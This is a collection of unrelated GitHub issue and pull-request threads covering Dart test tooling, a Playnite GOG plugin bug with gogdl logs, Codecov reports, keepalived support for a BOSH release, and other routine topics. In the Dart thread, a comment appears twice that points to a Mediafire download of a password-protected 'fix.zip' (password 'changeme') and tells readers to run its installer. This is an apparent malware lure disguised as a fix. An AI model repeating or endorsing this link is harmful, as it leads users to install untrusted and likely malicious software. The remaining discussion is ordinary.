Converge package:test_runner and package:test?

Currently, inside the Dart SDK we use package:test_runner. Outside the Dart SDK, people use package:test.
Some of the features align:

They can run all files in a directory that end with test.dart.

Some features don't align:

Skips: package:test has annotations or named arguments, the Dart SDK status files.
Expectations: package:matcher vs package:expect

Some SDK testing requirements are built in to package:test_runner and might not make sense outside the Dart SDK:

multi tests
comment expectations for // [cfe] and // [analyzer]
bots/configurations
results database

(Some of these things might actually be useful outside the Dart SDK. Multitests? Configurations to express cross-compilation once we start supporting that in standalone Dart. A serializable output for test results?)
Having these different solutions creates friction if packages are both used inside the Dart SDK and outside the Dart SDK. (For example: packages available outside the Dart SDK for users, or shared code between Dart and Flutter.)
Maybe we could reduce tech debt by trying to converge testing solutions.
It is not clear to me what the desired end state of a convergence should be, but some possibilities:

Using package:test syntax for skips instead of status files.
Dropping package:expect and starting to use package:matcher.
Building package:test_runner on top of package:test with our SDK-specific requirements? (But not reinventing the wheel for shared things.)

It's likely that trying to converge testing is a lot of effort, so we might not want to prio this. But I wanted a tracking bug.
@johnmccutchan Do we have a tracking issue on the Flutter side for converging testing frameworks?
N.b. Feel free to edit this issue to add bullet points to the list above.

The langauge and core platform library tests are deliberately run using a very simplistic test framework (package:expect). That ensures that the testing framework itself doesn't depend on features that are being tested.
It's a non-goal to change those tests to anything more complicated.
It's also not a goal to make anyone else use package:expect. If you're not testing the language or a core dart:... library, you are free to use something else than package:expect.
For packages in pkg/... of the language SDK, that are intended to be published publicly, there should be no problem using package:test for testing. That's what many of them already do. (Just not pkg/expect itself, and its friends, obviously.)
Is the problem that doing tool/test.py pkg/... will run the package's tests with package:test_runner anyway, where running dart test in the library would use package:test?

For packages in pkg/... of the language SDK, that are intended to be published publicly, there should be no problem using package:test for testing. That's what many of them already do.

Oh, we do? Can you point me to some of those? Then I should wire up the tests for dart-lang/native differently. Are these packages tested with an invocation of tools/test.py as well or with something different?

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."

$ tools/test.py -v -n analyzer-unittest-asserts-release-mac pkg/analyzer/test/src/diagnostics/ffi_native_test
This seems to run the test without respecting package:tests annotations.
If I add
@TestOn('linux')
library;

the test still runs on MacOS.

Ack, so doing tools/test.py pkg/... uses package:test_runner, not package:test.
It still uses expect and matchers from package:test, and "works" as long as you don't use any fancy features. (Anything that would work if you run the test file directly as dart run test/some_test.dart. You can run Dart tests directly, you don't need a test runner for a single test.)
Should we allow a package to be run by package:test's test runner?
Should we make pacakge:test_runner recognize test's annotations?
 We should get rid of all of them and remove the functionality, and only use error tests, with // [cfe] ... etc., for recognizing multiple errors in the same file.)

+1 to what lrhn said (especially about multitests).
At a high level, I wonder is convergence worth it for convergence's sake?
The main argument is mostly solved by using package:test:

The Having these different solutions creates friction if packages are both used inside the Dart SDK and outside the Dart SDK. (For example: packages available outside the Dart SDK for users, or shared code between Dart and Flutter.)

Using package:test directly everywhere for everything in the Dart SDK is probably a non-goal because of different requirements. That being said, package:test_runner is too bespoke and could share more code with package:test (e.g. launching browsers should not be duplicated). In general, when the Dart SDK needs something that general users wouldn't need, it should go into package:test_runner not into package:test.
So I think to actually make progress, it's probably best to zoom in on the specific frictions that arise when using package:test in the Dart SDK. E.g. if the biggest issue is @TestOn gets ignored by package:test_runner, then we could discuss how to solve that (perhaps by running dart test, perhaps by adding support to package:test_runner).


FEAT: Add debug sprites for collision boxes (Obstacles)

It would be very nice to be able to simple press a button and then see all the collision boxes. I think this could be achieved by rendering sprites for all collision boxes on a separate camera and then simply overlaying the collision debug camera on the main one.

Just use rapier for collision detections in your next project. Check out https://rancic.org/blog/collision-detection-in-bevy/


Updating the year in the generated code

This allows ./hack/verify-codegen.sh to exit cleanly.

/cc @sttts

@marpaia thanks for contributing.


Add configurable datetime object support

Bump nette php-generator version
Drop php5.4 and php5.5 support
Add php7.1 tests

Also added sf 4.0 as valid dependency

my bad, fixed @mzstic


added support for mutations

Could you review the unit tests?

Please check tests coverage

Please check tests coverage

should be ok now

Hello @emanuelet, I am waiting for the fix of the comments to generate a new release

I believe that the unit tests have passed. What comments are you referring to ?

I believe that the unit tests have passed. What comments are you referring to ?

I left you comments in the code, you can review it in the pull request

I believe that the unit tests have passed. What comments are you referring to ?

I left you comments in the code, you can review it in the pull request

I think they got removed when I pushed the last commit, because I cannot see any comments

authorization: Bearer ${context.token}

my comments were:

In the authorization include it as a parameter since it is possible that another type of authorization is used

headers: { authorization: `Bearer ${context.token}` }

add other task to lint fix for example:
lint:fix

would this do?

I recommended include text Bearer into property context.auth_token

ooops. Apologies I should have run the tests before pushing. Now they are passing for me.
I rename the property to auth_token to make it more generic and should support any type of auth you throw at it

Thank for collaborate

@emanuelet, package is ready on npm


Converting evaluation to a current retail version works also when the server is a domain controller

In the documentation file https://github.com/MicrosoftDocs/windowsserverdocs/blob/master/WindowsServerDocs/get-started/Supported-Upgrade-Paths.md#converting-a-current-evaluation-version-to-a-current-retail-version there is the following text regarding converting an evaluation version to a retail version:

If the server is running an evaluation version of Windows Server 2016 Standard or Windows Server 2016 Datacenter, you can convert it to a retail version as follows:

If the server is a domain controller, you cannot convert it to a retail version. [...]

We have also documented it in this way in our wiki here https://www.thomas-krenn.com/de/wiki/Windows_Server_Evaluierungsversion_in_Vollversion_umwandeln
But meanwhile we got lots of feedback, that converting an Server (which is running an evaluation license and acting as a domain controller) to a retail version works. So I think that this restriction might not apply anymore.
Could you check this and update the doc in case that it is officially supported to convert an evaluation server (running as a domain controller) to a retail version?
Best regards,
Werner

Thanks for your feedback.  No, this is not supported.

Thank you for your feedback that this is not supported. I hereby close this issue as my question got answered and the doc does not need to be changed.


Sloppily reported issue: I'm suspicious GOG Redistributable download queueing isn't working 100% correctly

Prerequisites

[X] I've looked through existing issues to make sure that this bug hasn't been reported before.
[X] I've read the GitHub Community Guidelines and know netiquette.

Playnite version
<IP_ADDRESS>68
Plugin version
<IP_ADDRESS>868 (The version I believe I was using when I encountered this issue)
Comet version
0.1.2
Gogdl version
1.1.2
Bug description
I redownloaded all of my games from scratch over a week ago (noted in an earlier issue). I noticed after completion, there were only two redists plus ISI in the .gogRedist folder, even though all games in sum had more than that listed. The installedDepends.json listed a couple more that didn't actually exist (some other MSVC I believe?). It also didn't list near the total sum for installed.json or much of what was in the actual game manifests. I understand that some dependencies like DOSBox and nGlide aren't kept in the redistributable folder, but this didn't make up for the difference.
Still, another behavior that is objectively true is the can-kicking of GOG Redistributables down the queue with the addition of each new game. I think something may be going wrong during the can-kick. Armchair "developer" me thinks it would be preferable to keep it per-game, pre-game (it's already pre-game until you add another to queue, then it's pre-new game), so each game individually has its needs met on demand so they can be started/finalized after an early completion in a queue yet to finish.
To prevent weird queueing edge cases that could occur from manual user interventions and to make the queue less cluttered, GOG Redistributables could be hidden and prepended to the existing game entries instead of discretely listed, but I don't know how easy or hard it'd be to calculate total download size for the progress bar to do it this way or what other complications could occur.
I apologize that I don't have more data to share- I had other, more important issues to file, didn't want to blow you up with more issues, and decided to fix it manually once I understood how everything worked enough to fix it. I also wasn't, and still am not, 100% sure if there is an issue or I'm misinterpreting it as a bystander who doesn't know how the sausage is made.
Relevant log
Filtered log from the 19th, not sure of full context, but this was before any attempts at manual "fixing", I'm sure:
19-11 09:55:01.697|DEBUG|GogOssLibrary#CliWrapCommandExtensions:Executing command: C:\Users\Adam\scoop\apps\gogdl\current\gogdl.exe --auth-config-path C:\Users\Adam\AppData\Roaming\Playnite\ExtensionsData\03689811-3f33-4dfb-a121-2ee168fb9a5c\tokens.json redist --ids ISI --path / --print-manifest
19-11 09:55:02.996|DEBUG|GogOssLibrary#CliWrapCommandExtensions:Executing command: C:\Users\Adam\scoop\apps\gogdl\current\gogdl.exe --auth-config-path C:\Users\Adam\AppData\Roaming\Playnite\ExtensionsData\03689811-3f33-4dfb-a121-2ee168fb9a5c\tokens.json redist --ids ISI --path C:\Users\Adam\AppData\Roaming\Playnite\ExtensionsData\03689811-3f33-4dfb-a121-2ee168fb9a5c\.gogRedist --max-workers 4 --platform windows --skip-dlcs
19-11 10:16:17.515|DEBUG|GogOssLibrary#CliWrapCommandExtensions:Executing command: C:\Users\Adam\scoop\apps\gogdl\current\gogdl.exe --auth-config-path C:\Users\Adam\AppData\Roaming\Playnite\ExtensionsData\03689811-3f33-4dfb-a121-2ee168fb9a5c\tokens.json redist --ids DirectX --path / --print-manifest
19-11 10:16:32.016|DEBUG|GogOssLibrary#CliWrapCommandExtensions:Executing command: C:\Users\Adam\scoop\apps\gogdl\current\gogdl.exe --auth-config-path C:\Users\Adam\AppData\Roaming\Playnite\ExtensionsData\03689811-3f33-4dfb-a121-2ee168fb9a5c\tokens.json redist --ids nGlide --path / --print-manifest
19-11 10:18:02.608|DEBUG|GogOssLibrary#CliWrapCommandExtensions:Executing command: C:\Users\Adam\scoop\apps\gogdl\current\gogdl.exe --auth-config-path C:\Users\Adam\AppData\Roaming\Playnite\ExtensionsData\03689811-3f33-4dfb-a121-2ee168fb9a5c\tokens.json redist --ids nGlide_103 --path / --print-manifest
19-11 10:18:20.582|DEBUG|GogOssLibrary#CliWrapCommandExtensions:Executing command: C:\Users\Adam\scoop\apps\gogdl\current\gogdl.exe --auth-config-path C:\Users\Adam\AppData\Roaming\Playnite\ExtensionsData\03689811-3f33-4dfb-a121-2ee168fb9a5c\tokens.json redist --ids MSVC2012_x64 --path / --print-manifest
19-11 10:18:21.730|DEBUG|GogOssLibrary#CliWrapCommandExtensions:Executing command: C:\Users\Adam\scoop\apps\gogdl\current\gogdl.exe --auth-config-path C:\Users\Adam\AppData\Roaming\Playnite\ExtensionsData\03689811-3f33-4dfb-a121-2ee168fb9a5c\tokens.json redist --ids MSVC2012 --path / --print-manifest
19-11 10:18:40.952|DEBUG|GogOssLibrary#CliWrapCommandExtensions:Executing command: C:\Users\Adam\scoop\apps\gogdl\current\gogdl.exe --auth-config-path C:\Users\Adam\AppData\Roaming\Playnite\ExtensionsData\03689811-3f33-4dfb-a121-2ee168fb9a5c\tokens.json redist --ids DOSBox074_2CS --path / --print-manifest
19-11 10:20:34.824|DEBUG|GogOssLibrary#CliWrapCommandExtensions:Executing command: C:\Users\Adam\scoop\apps\gogdl\current\gogdl.exe --auth-config-path C:\Users\Adam\AppData\Roaming\Playnite\ExtensionsData\03689811-3f33-4dfb-a121-2ee168fb9a5c\tokens.json redist --ids MSVC2015 --path / --print-manifest
19-11 10:21:04.762|DEBUG|GogOssLibrary#CliWrapCommandExtensions:Executing command: C:\Users\Adam\scoop\apps\gogdl\current\gogdl.exe --auth-config-path C:\Users\Adam\AppData\Roaming\Playnite\ExtensionsData\03689811-3f33-4dfb-a121-2ee168fb9a5c\tokens.json redist --ids MSVC2015_x64 --path / --print-manifest
19-11 10:21:05.899|DEBUG|GogOssLibrary#CliWrapCommandExtensions:Executing command: C:\Users\Adam\scoop\apps\gogdl\current\gogdl.exe --auth-config-path C:\Users\Adam\AppData\Roaming\Playnite\ExtensionsData\03689811-3f33-4dfb-a121-2ee168fb9a5c\tokens.json redist --ids MSVC2017 --path / --print-manifest
19-11 10:21:07.139|DEBUG|GogOssLibrary#CliWrapCommandExtensions:Executing command: C:\Users\Adam\scoop\apps\gogdl\current\gogdl.exe --auth-config-path C:\Users\Adam\AppData\Roaming\Playnite\ExtensionsData\03689811-3f33-4dfb-a121-2ee168fb9a5c\tokens.json redist --ids MSVC2017_x64 --path / --print-manifest
19-11 10:21:08.330|DEBUG|GogOssLibrary#CliWrapCommandExtensions:Executing command: C:\Users\Adam\scoop\apps\gogdl\current\gogdl.exe --auth-config-path C:\Users\Adam\AppData\Roaming\Playnite\ExtensionsData\03689811-3f33-4dfb-a121-2ee168fb9a5c\tokens.json redist --ids UE4REDIST --path / --print-manifest
19-11 10:21:09.689|DEBUG|GogOssLibrary#CliWrapCommandExtensions:Executing command: C:\Users\Adam\scoop\apps\gogdl\current\gogdl.exe --auth-config-path C:\Users\Adam\AppData\Roaming\Playnite\ExtensionsData\03689811-3f33-4dfb-a121-2ee168fb9a5c\tokens.json redist --ids MSVC2019 --path / --print-manifest
19-11 10:21:10.870|DEBUG|GogOssLibrary#CliWrapCommandExtensions:Executing command: C:\Users\Adam\scoop\apps\gogdl\current\gogdl.exe --auth-config-path C:\Users\Adam\AppData\Roaming\Playnite\ExtensionsData\03689811-3f33-4dfb-a121-2ee168fb9a5c\tokens.json redist --ids MSVC2019_x64 --path / --print-manifest
19-11 10:21:40.041|DEBUG|GogOssLibrary#CliWrapCommandExtensions:Executing command: C:\Users\Adam\scoop\apps\gogdl\current\gogdl.exe --auth-config-path C:\Users\Adam\AppData\Roaming\Playnite\ExtensionsData\03689811-3f33-4dfb-a121-2ee168fb9a5c\tokens.json redist --ids PHYSX --path / --print-manifest
19-11 10:23:46.489|DEBUG|GogOssLibrary#CliWrapCommandExtensions:Executing command: C:\Users\Adam\scoop\apps\gogdl\current\gogdl.exe --auth-config-path C:\Users\Adam\AppData\Roaming\Playnite\ExtensionsData\03689811-3f33-4dfb-a121-2ee168fb9a5c\tokens.json redist --ids MSVC2013 --path / --print-manifest
19-11 10:23:47.728|DEBUG|GogOssLibrary#CliWrapCommandExtensions:Executing command: C:\Users\Adam\scoop\apps\gogdl\current\gogdl.exe --auth-config-path C:\Users\Adam\AppData\Roaming\Playnite\ExtensionsData\03689811-3f33-4dfb-a121-2ee168fb9a5c\tokens.json redist --ids MSVC2013_x64 --path / --print-manifest
19-11 10:24:16.475|DEBUG|GogOssLibrary#CliWrapCommandExtensions:Executing command: C:\Users\Adam\scoop\apps\gogdl\current\gogdl.exe --auth-config-path C:\Users\Adam\AppData\Roaming\Playnite\ExtensionsData\03689811-3f33-4dfb-a121-2ee168fb9a5c\tokens.json redist --ids MSVC2010 --path / --print-manifest
19-11 17:25:17.644|DEBUG|GogOssLibrary#CliWrapCommandExtensions:Executing command: C:\Users\Adam\scoop\apps\gogdl\current\gogdl.exe --auth-config-path C:\Users\Adam\AppData\Roaming\Playnite\ExtensionsData\03689811-3f33-4dfb-a121-2ee168fb9a5c\tokens.json redist --ids ISI,MSVC2010 --path C:\Users\Adam\AppData\Roaming\Playnite\ExtensionsData\03689811-3f33-4dfb-a121-2ee168fb9a5c\.gogRedist --max-workers 4 --platform windows --skip-dlcs
19-11 20:57:43.413|DEBUG|GogOssLibrary#CliWrapCommandExtensions:Executing command: C:\Users\Adam\scoop\apps\gogdl\current\gogdl.exe --auth-config-path C:\Users\Adam\AppData\Roaming\Playnite\ExtensionsData\03689811-3f33-4dfb-a121-2ee168fb9a5c\tokens.json redist --ids MSVC2012_x64 --path / --print-manifest
19-11 20:57:44.626|DEBUG|GogOssLibrary#CliWrapCommandExtensions:Executing command: C:\Users\Adam\scoop\apps\gogdl\current\gogdl.exe --auth-config-path C:\Users\Adam\AppData\Roaming\Playnite\ExtensionsData\03689811-3f33-4dfb-a121-2ee168fb9a5c\tokens.json redist --ids MSVC2012 --path / --print-manifest
19-11 20:57:45.779|DEBUG|GogOssLibrary#CliWrapCommandExtensions:Executing command: C:\Users\Adam\scoop\apps\gogdl\current\gogdl.exe --auth-config-path C:\Users\Adam\AppData\Roaming\Playnite\ExtensionsData\03689811-3f33-4dfb-a121-2ee168fb9a5c\tokens.json redist --ids DirectX --path / --print-manifest
19-11 22:17:15.436|DEBUG|GogOssLibrary#CliWrapCommandExtensions:Executing command: C:\Users\Adam\scoop\apps\gogdl\current\gogdl.exe --auth-config-path C:\Users\Adam\AppData\Roaming\Playnite\ExtensionsData\03689811-3f33-4dfb-a121-2ee168fb9a5c\tokens.json redist --ids ISI,MSVC2010 --path C:\Users\Adam\AppData\Roaming\Playnite\ExtensionsData\03689811-3f33-4dfb-a121-2ee168fb9a5c\.gogRedist --max-workers 4 --platform windows --skip-dlcs

Screenshots
No response

To prevent weird queueing edge cases that could occur from manual user interventions and to make the queue less cluttered, GOG Redistributables could be hidden and prepended to the existing game entries instead of discretely listed, but I don't know how easy or hard it'd be to calculate total download size for the progress bar to do it this way or what other complications could occur.

That can't be done currently, because gogdl is done in such way that all depends needs to be downloaded at once.
Initially I wanted to separate each depend, but then gogdl removes other and that's the problem.
Then I came into idea to ditch gogdl and make own downloading code to do that better, but problem was that performance/speed isn't enough for us, cuz we're still on old .NET.

I think big problem might be that gogdl is done in such way that all depends needs to be downloaded as all in one (1 entry only).

I discovered this exact behavior you describe when working with it manually. It appears you need to run --ids with the already-installed dependencies in the comma-separated list as well, otherwise they will get removed.
Each time redist --ids is called by your plugin for dependency installation, it should gather all currently installed dependencies + any dependencies required by the queued game that aren't installed yet. If gogdl is fed dependencies that are already installed, it skips them with "Nothing to do", but it won't delete them. It does delete existing dependencies not expressly listed when ran with --ids, which is the annoyance you describe.
I think using it in this way would make it compatible with per-game redist calls.

Ok, you can start testing :smile:.
GogOssLibrary_1_1_4_36453.pext.zip

I'm not sure what the expected result is supposed to be or if I've tested adequately. I downloaded a couple small games that both didn't have dependencies, so I had to dig to see what games I have that do.
I chose Requiem: Avenging Angel. It requires DirectX and nGlide. I deleted DirectX from my .gogRedist folder and from installedDepends.json (when Playnite wasn't running, of course), then I proceeded to get the download started. DirectX was never downloaded or added to installedDepends.json, and I see no evidence in the log of any attempts to install DirectX.
I'll supply any information you need, but I'm not sure if the log as-is can help much here.

I deleted DirectX from my .gogRedist folder and from installedDepends.json (when Playnite wasn't running, of course), then I proceeded to get the download started. DirectX was never downloaded or added to installedDepends.json

In that case. It won't be downloaded again, cuz gogdl looks for HGLinstalled at .gogdl-redist-manifest file and if it see any of depends listed here, then it won't download again.

I fixed it based on your info to get it to pop up. No dependencies were deleted, DirectX was added. Guess this is why you were probing --print-manifest.
✨The more you know. 🌠
Command is executed exactly like my recommendation (currently DL'd + need to be DL'd - redundancies):
05-12 10:03:18.357|DEBUG|GogOssLibrary#CliWrapCommandExtensions:Executing command: C:\Users\Adam\scoop\apps\gogdl\current\gogdl.exe --auth-config-path C:\Users\Adam\AppData\Roaming\Playnite\ExtensionsData\03689811-3f33-4dfb-a121-2ee168fb9a5c\tokens.json redist --ids ISI,DirectX,MSVC2013,MSVC2013_x64,MSVC2015,MSVC2015_x64,MSVC2017,MSVC2017_x64,UE4REDIST,MSVC2019,MSVC2019_x64,MSVC2012_x64,MSVC2012,PHYSX,MSVC2010 --path C:\Users\Adam\AppData\Roaming\Playnite\ExtensionsData\03689811-3f33-4dfb-a121-2ee168fb9a5c\.gogRedist --max-workers 4 --platform windows --skip-dlcs
If this same operation occurs for every queue entry, I don't think I need to load the queue up to test this... but I can if you think so. Main issue is most GOG games have no dependencies, haha.

why you were probing --print-manifest

Well, that's to get info about download size :smile:.
Alternatively if will be problems with gogdl during downloading depends then I could do my own downloading code instead of.
With games problem was that they were splitted into parts, so performance/speed wasn't enough, but depends are rather one, so theoretically I could do that separately :smile:.


APP-1322 Unable to assign ticket to a user due to CORS issue

Codecov Report

Merging #135 into dev will decrease coverage by 0.61%.
The diff coverage is 100%.

@@            Coverage Diff            @@
##              dev    #135      +/-   ##
=========================================
- Coverage   90.21%   89.6%   -0.62%
=========================================
  Files         141     171      +30
  Lines        2790    3510     +720
  Branches      261     326      +65
=========================================
+ Hits         2517    3145     +628
- Misses        215     280      +65
- Partials       58      85      +27

Impacted Files
Coverage Δ

...gration/web/register/WebResourcesRegistration.java
100% <100%> (ø)
:arrow_up:

...ation/provisioning/service/ApplicationService.java
95.65% <0%> (ø)

...sioning/exception/CompanyCertificateException.java
100% <0%> (ø)

...ation/provisioning/IntegrationProvisioningApp.java
50% <0%> (ø)

.../integration/provisioning/service/UserService.java
94.59% <0%> (ø)

...n/provisioning/IntegrationProvisioningService.java
79.81% <0%> (ø)

...ioning/exception/AppRepositoryClientException.java
100% <0%> (ø)

...ation/provisioning/client/AppRepositoryClient.java
95% <0%> (ø)

...ion/provisioning/client/model/AppStoreWrapper.java
94.11% <0%> (ø)

...rovisioning/service/CompanyCertificateService.java
82.6% <0%> (ø)

... and 21 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 651ad68...18a0c22. Read the comment docs.


Trouble to Edit or write new code

VSCode Version:
OS Version:

Steps to Reproduce:

Does this issue occur when all extensions are disabled?: Yes/No

I’m having trouble when I try to edit or just write a new code. Have I install any extension in order to be able to edit or write a new line of code? Could you please help with this issue?

Please include as many details as possible about exactly what you are trying to do.


WIP: add PWA

Fixes #28

[x] Service worker check
[x] Minify resources
[ ] Create offline page
[ ] LightHouse check
[ ] Figure it out how to get window.config

[ ]  ~Figure it out how to get window.config~

According to the service workers and concept, there are no way to access the DOM over service worker. Skip this wishlist.


Backfill important images, files, presentations, etc from old site

Old posts from drupal site should have their attachments, such as images.
For instance, the stallman article should contain the pictures of the club with stallman (stallman1.jpg, etc)\
afaik, those files live on web3 at /var/www/drupal/sites/default/files
-c

related issues #67 #58

#140

WILL NOT FIX - new site


Add emoijcode

Can be tested here: https://tio.run/##S83Nz8pMzk9JNfv//8P8/kaFD/N727kUgODD/Ckg3sRehBBEeEYDSG5JIoh4NHf6@x39UPW9nVwg4v9/AA

It's supposed to print all on one line but Google is telling me there isn't a way to do that so I'll let this be an exception

Actually it is possible
I'll open a new pr for it


Keepalived support

Adding support for keepalived to enable high availability in an haproxy deployment, leveraging the https://en.wikipedia.org/wiki/Virtual_Router_Redundancy_Protocol more formally RFC 5798. See keep-alived man page for more precision over capabilities of keep-alived as well as the keep-alived user manual
This enables declaring a virtual IP (keepalived.vip) that will automatically fail over between the multiple haproxy VMs: the master will initially be the bosh vm for haproxy job instance 0. The default IP addresses assigned by bosh to vms on eth0 are used within the VRRP protocol.
Notes:

this PR needs to create a new blob in the cf-community S3 bucket. In order to avoid clean ups if the PR is not merged, we did not yet upload the blob. The corresponding sources are at http://www.keepalived.org/software/keepalived-1.2.24.tar.gz. Let us know if you'd prefer instead us to upload the blob on the Cf community s3 blob and reference it into the PR.
limitations and future work documented in the  docs/keepalived.md file
the template jobs.yml was not modified to systematically include the keepalived into the haproxy jobs (as this would trigger systematic enabling od keepalived).
The keepalived job may also be collocated with other bosh releases such as the mysql release switchboard (see related discussion https://github.com/cloudfoundry/cf-mysql-release/issues/82#issuecomment-150704953 ). It may make sense to extract the keepalived package and jobs into its own release in the future.

I believe it can work in AWS, if the VMs have the source-dest-check disabled (which was a feature added to the AWS CPI back in August)

On Dec 15, 2016, at 2:50 PM, Stu Charlton<EMAIL_ADDRESS>wrote:
@svrc-pivotal commented on this pull request.
In docs/keepalived.md https://github.com/cloudfoundry-community/haproxy-boshrelease/pull/39:

@@ -0,0 +1,96 @@
+# Purpose of keepalived implementation

+Adding support for keepalive to enable high availability in an haproxy deployment, leveraging the https://en.wikipedia.org/wiki/Virtual_Router_Redundancy_Protocol more formally RFC 5798. See keep-alived man page for more precision over capabilities of keep-alived as well as the keep-alived user manual
+
+This enables declaring an virtual IP (keepalived.vip) that will automatically fail over between the multiple haproxy VMs: the master will initially be the bosh vm for haproxy job instance 0. The default IP addresses assigned by bosh to vms on eth0 are used within the VRRP protocol.
+
+Prereqs:

The haproxy VMs must be within the same broadcast domain, i.e. receive multicast traffic sent to the <IP_ADDRESS> broadcast and IP protocol number 112.
+* The clients using this VIP must be within the same broadcast domain as the haproxy vms and accepting ARP gratuitious

yeah this won't work in aws, gcp, or azure; only vsphere most likely, as it requires broadcast. there is a way to make it work with those clouds but you'd need to have forked scripts for each that use their CLI to rebind the public/elastic IP on failover, e.g.
https://blog.logentries.com/2014/12/keepalived-and-haproxy-in-aws-an-exploratory-guide/ https://blog.logentries.com/2014/12/keepalived-and-haproxy-in-aws-an-exploratory-guide/
of course rebinds can take a couple of minutes so not quite "HA" but better than nothing ;)
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub https://github.com/cloudfoundry-community/haproxy-boshrelease/pull/39, or mute the thread https://github.com/notifications/unsubscribe-auth/AG2SUo1GOON5mG5OcpMmz_cls5GkeOwHks5rIZn_gaJpZM4LLg9s.

the VRRP protocol itself won't work on AWS though because it uses both IP multicast for heartbeats and gratuitous ARP to manage the failover.
you need to use unicast with a custom script.

Ah, fair enough.  Thanks!

On Dec 15, 2016, at 3:54 PM, Stu Charlton<EMAIL_ADDRESS>wrote:
the VRRP protocol itself won't work on AWS though because it uses both IP multicast for heartbeats and gratuitous ARP to manage the failover.
you need to use unicast with a custom script.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub https://github.com/cloudfoundry-community/haproxy-boshrelease/pull/39#issuecomment-267441306, or mute the thread https://github.com/notifications/unsubscribe-auth/AG2SUp-4ZodNepkIJQCnlKNhYApUW5peks5rIakXgaJpZM4LLg9s.

Thanks @geofffranks and @svrc-pivotal for your feedback, sorry for late response.

Also, it looks like there are merge conflicts that need resolution.

Sorry about that, we're fixing that.

How much has this been tested in live environments?

We've successfully tested on CloudStack with XenServer hypervisor (TBC advancednetworking, we yet have to study whether this could work within a cloudstack VPC).
We yet have to test it on our openstack environment (cloudwatt.com using KVM and opencontrail), as well as vmware vcloud (TBC with vmnet? networking).
We have not yet tested either on bosh-lite.

Is there a way to not use keepalived?
If we can't turn off keepalived, and an IaaS can't support multiple IPs from the same VM on a single interface, we might run into problems. Maybe it should be split into a second job to support that case?

We originally considered adding a short-term hack in ctl/monit templates to not start keepalived unless the keepalived.vip property is set, but this would be thrown away soon.
So, instead we'll indeed split into a distinct keepalived job (possibly next week or early january). This in sync with a potential future extraction in a distinct release (enabling cleaner colocation into other releases such as cf-mysql-release, see related https://github.com/cloudfoundry/cf-mysql-release/issues/82#issuecomment-150704953)

How does it behave in a single-node (bosh-lite) environment?

Not sure yet, tests and inputs from the community would be useful if we don't manage to prioritize this. What would be the use-cases for VRRP on bosh-lite ?

I've long wanted this kind of feature here but doing it right multi-cloud requires a fair bit of engineering/testing

Agreed. Let's add per Iaas HOWTOs in the documentation, and capture the valuable information exchanged in this discussion for others to build on. The support for other Iaas with unicast properties and specific notify_master scripts would be good future additions.

This PR needs to create a new blob in the cf-community S3 bucket. In order to avoid clean ups if the PR is not merged, we did not yet upload the blob. The corresponding sources are at http://www.keepalived.org/software/keepalived-1.2.24.tar.gz. Let us know if you'd prefer instead us to upload the blob on the Cf community s3 blob and reference it into the PR.

We'll push source blobs in the cf-community S3 bucket with @poblin-orange AWS access key. Let us know if you see an issue there. This will make testing easier until the PR gets merged.
Thanks again,
Axel & Guillaume.

Feel free to push the blobs. I'm fine with this being added as a works-on-some-IaaSes-only thing, so long as we document that in the README as you suggested, and provide a way to disable it for environments it can't be supported (splitting it out into its own job should be sufficient for that).
My concerns with single-node clusters/bosh-lite go away if it gets factored out into its own job as well, since it can then be disabled for those environments. I was mainly concerned with the ability to easily deploy + test other haproxy changes in bosh-lite, as well as our CI environment.
Thanks again for this feature!

Please squash your commit ! Impossible to follow.

commit squashed, blobs pushed and tested with latest master version

LGTM, any additional thoughts @shinji62 ?

@shinji62 @geofffranks anymore pending concerns before merging this PR ?

@gberche-orange Should be ok, @geofffranks Could merge this PR.

Yep, sorry. Thought there was more on the sha1 discussion. Will merge + release this morning

thanks @geofffranks for the merge!

might be a bit late, but it feels like it should just be a separate generic keepalived release, so that it could be colocated with anything.
Sent from my iPhone

On Jan 23, 2017, at 8:47 AM, Guillaume Berche<EMAIL_ADDRESS>wrote:
thanks @geofffranks for the merge!
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub, or mute the thread.

@cppforlife , yes we indeed plan to extract keepalived support into a distinct release as mentionned in https://github.com/cloudfoundry-community/haproxy-boshrelease/pull/39#issuecomment-267558662 as to enable easier reuse in other jobs that require HA such as:

container networking's  VTEP gateway
services such as mysql proxy job

We're wondering whether the networking-release could be a good recipient for the keep-alived job ?
If so, would a PR on the networking-release likely to be accepted ?

Any reason to not create a standalone keepalived-boshrelease?

not that i can think of


Add custom variables for additional forges

I host a bunch of forks (and own packages) at another forge so I made this customizable in straight. ♥

I'll look into the failing tests!

Docker? That doesn't seem related to the patch…?

Jolly good!

Good idea, thank you. I removed the verical alignment.

Good idea, thank you.

You're welcome. Thank you for the pull request.

I removed the vertical alignment.

I can't say I'm convinced by this. It lays out an argument without doing much to substantiate it.
It might be more convincing if it provided concrete examples with each claim.
In any case, we don't have any requirements regarding vertical alignment, so your change is fine by me.
Thanks again.

It might be more convincing if it provided concrete examples with each claim.

That is very good feedback, thank you!


fix #21 Set URL input as type="url"

@nihalmohammed18 should I close the PR?

@nihalmohammed18 should I close the PR?

Sure


Update app-service-app-service-environment-intro.md

Touched ms.date to reflect the doc was actually updated recently.

Hi @stefsch, I'm your friendly neighborhood Azure Pull Request Bot (You can call me AZPRBOT). Thanks for your contribution!

It looks like you're working at Microsoft (stefsch). If you're full-time, we DON'T require a contribution license agreement.

If you are a vendor, or work for Microsoft Open Technologies, DO please sign the electronic contribution license agreement. It will take 2 minutes and there's no faxing! https://cla.azure.com.

TTYL, AZPRBOT;


Update device matrix config

Codecov Report

Merging #264 (0911d8d) into main (4e10a85) will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##             main     #264   +/-   ##
=======================================
  Coverage   75.93%   75.93%
=======================================
  Files          68       68
  Lines        3042     3042
  Branches      481      481
=======================================
  Hits         2310     2310
  Misses        453      453
  Partials      279      279

:mega: Codecov can now indicate which changes are the most critical in Pull Requests. Learn more


TiddlyRemember does not work on Arch Linux

On EndeavourOS (Arch)
uname --all
Linux ... 6.3.5-arch1-1 #1 SMP PREEMPT_DYNAMIC Tue, 30 May 2023 13:44:01 +0000 x86_64 GNU/Linux

yay  -Q --info anki
Name            : anki
